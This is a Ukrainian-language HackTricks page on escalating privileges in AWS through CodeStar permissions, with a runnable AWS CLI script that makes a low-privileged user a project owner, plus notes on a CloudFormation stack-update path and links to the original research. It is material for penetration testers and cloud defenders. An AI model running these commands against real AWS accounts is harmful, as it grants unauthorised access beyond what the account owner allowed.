AWS - Codestar Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Codestar

Додаткову інформацію про codestar можна знайти в:

iam:PassRole, codestar:CreateProject

З цими дозволами ви можете зловживати роллю IAM codestar, щоб виконувати довільні дії через шаблон cloudformation. Перевірте наступну сторінку:

codestar:CreateProject, codestar:AssociateTeamMember

Ця техніка використовує codestar:CreateProject для створення проекту codestar та codestar:AssociateTeamMember для призначення користувача IAM власником нового проекту CodeStar, що надасть їм нову політику з додатковими дозволами.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Якщо ви вже є учасником проекту, ви можете використовувати дозвіл codestar:UpdateTeamMember для оновлення своєї ролі на власника замість codestar:AssociateTeamMember

Потенційний вплив: Підвищення привілеїв до політики codestar, створеної. Ви можете знайти приклад цієї політики в:

codestar:CreateProjectFromTemplate

  1. Створення нового проекту:

  • Використовуйте дію codestar:CreateProjectFromTemplate для ініціювання створення нового проекту.

  • Після успішного створення, доступ автоматично надається для cloudformation:UpdateStack.

  • Цей доступ спеціально спрямований на стек, пов'язаний з роллю IAM CodeStarWorker-<загальне ім'я проекту>-CloudFormation.

  1. Оновлення цільового стеку:

  • З наданими дозволами CloudFormation перейдіть до оновлення вказаного стеку.

  • Ім'я стеку зазвичай відповідає одному з двох шаблонів:

  • awscodestar-<загальне ім'я проекту>-infrastructure

  • awscodestar-<загальне ім'я проекту>-lambda

  • Точна назва залежить від обраного шаблону (див. приклад вразливого скрипту).

  1. Доступ та дозволи:

  • Після оновлення ви отримуєте можливості, призначені для ролі IAM CloudFormation, пов'язаної зі стеком.

  • Примітка: Це не надає повних адміністративних привілеїв за замовчуванням. Для підвищення привілеїв може знадобитися додаткові неправильно налаштовані ресурси в середовищі.

Для отримання додаткової інформації перегляньте оригінальне дослідження: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Ви можете знайти вразливість за посиланням https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Потенційний вплив: Підвищення привілеїв до ролі IAM cloudformation.

Last updated